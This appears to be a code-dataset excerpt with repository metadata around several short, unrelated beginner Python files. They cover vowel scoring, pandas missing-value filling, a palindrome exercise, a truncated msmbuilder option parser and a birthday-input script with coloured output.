a4109108ce79ce8ffa413a457964c2fc31fa84dd | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /6NoaFGKJgRW6oXhLC_20.py | b805a8bd5efdd4230470dd426cbebc9d41b4ae6f | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 270 | py |
def sum_of_vowels(txt):
count = 0
txt = txt.upper()
for x in txt:
if x == "A":
count += 4
elif x == "E":
count += 3
elif x == "I":
count += 1
else:
count += 0
return count
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
c890c2a824190f02edfa382c7de2388243c80273 | d99e73252210d9ab5dea0b46d2f82f8a036373ce | /scripts/rawFoldTime.py | ee6e0616d95093414fa34bdc91064d3e9dc32732 | [] | no_license | schwancr/schwancr_bin | 710378ebca8482b1e4e38be894a22349e808e18a | fb42d40ac7be4b9984c257c09b569d740926781a | refs/heads/master | 2016-08-04T23:36:29.658194 | 2015-06-30T18:26:04 | 2015-06-30T18:26:04 | 7,841,529 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,813 | py | #!/usr/bin/env python
from optparse import OptionParser
parser = OptionParser()
parser.add_option('-p',dest='proj_FN',default='../ProjectInfo.h5',help='ProjectInfo.h5 from msmbuilder [ ../ProjectInfo.h5 ]')
parser.add_option('-d',dest='data_FN',help='Data to use as a metric for folded and unfolded states' )
parser.ad... | [
"schwancr@stanford.edu"
] | schwancr@stanford.edu |
eb08eed3392c1000edd7dfa16c3c1cbf171d51e6 | 0d8ee78f61660343e5feec41a53269dbf5585fa3 | /Demo11/fill_nan.py | 2705a3af2c26a7166ff0fe404b2b0e9ae7b01c2b | [] | no_license | x-jeff/Python_Code_Demo | 41b033f089fa19d8c63b2f26bf66ef379738c4ad | 9bc458b08cfae0092e8f11a54031ca2e7017affc | refs/heads/master | 2023-07-29T16:34:34.222620 | 2023-07-09T10:38:23 | 2023-07-09T10:38:23 | 176,306,727 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,954 | py | import pandas as pd
import numpy as np
df=pd.DataFrame([["Tim","M",24,169,100],["Jack","M",np.nan,177,np.nan],["Jessy","F",21,162,np.nan],["Mary","F",23,159,87]])
df.columns=["Name","Gender","Age","Height","Weight"]
df["Salary"]=np.nan
print(df)
#使用数值2填补缺失值
print(df.fillna(2))
#使用平均值填补缺失值
df["Age"].fillna(df["Age"].... | [
"jeff.xinsc@gmail.com"
] | jeff.xinsc@gmail.com |
e9b3f8973d911ceb5d48ec19e663a81368493195 | f343b2ac4f5b52abd5e6a8fb6bef55acf3a32154 | /solutions-BEWARE-DO-NOT-ENTER/week-4/takeHomeChallenge-palindrome.py | e4a2ccdfe7f0be3a40c21436e6c20987ccb1f2fa | [] | no_license | asyrul21/recode-beginner-python | 41248d59199ac3660ef40aa3a5fdf23fadfb6b5b | 93608e2880aec1774e898d5f1a663dc84e246b46 | refs/heads/master | 2023-07-04T21:59:08.135443 | 2021-08-09T01:43:30 | 2021-08-09T01:43:30 | 330,307,505 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 944 | py | # The palindrome Checker
# 1. create a varible named word and assign it to the input() statement you learned last week
# 2. Transform this word to all lowercase by performing word.lower()
# 3. Set a flag named Palindrom and set it to True
# 4. Setup a for loop with enumeration, and check that the current letter must
# ... | [
"asyrulhafetzy.21@gmail.com"
] | asyrulhafetzy.21@gmail.com |
13a7dfa407470abb9ca3c605120da264d916ae5d | 249c7081a766318360da21c66e7a30f917c90738 | /exercicio 2.py | c4a34ba0a76bc805393dd0d3128c0d2ff7cc3088 | [] | no_license | Danlei27/PycharmProjects | b4d93a966b45c84f206498faa60c36f8b356c5a9 | abedd9911d7a28f64366f4ea69de86ed16d39534 | refs/heads/master | 2020-05-30T10:32:55.793721 | 2019-06-01T00:33:27 | 2019-06-01T00:33:27 | 189,675,167 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 274 | py | dia=input('dia')
mes=input('mes')
ano=input('ano')
cores = {'limpa':'\033[m',
'azul':'\033[34m',
'amarelo':'\033[33m',
'pretoebranco':'\033[7;30m'}
print('Você nasceu no dia' ,cores ['azul'],dia, 'do' ,mes, 'de' ,ano,cores['limpa'], '.correto?')
| [
"danleisantos@hotmail.com"
] | danleisantos@hotmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.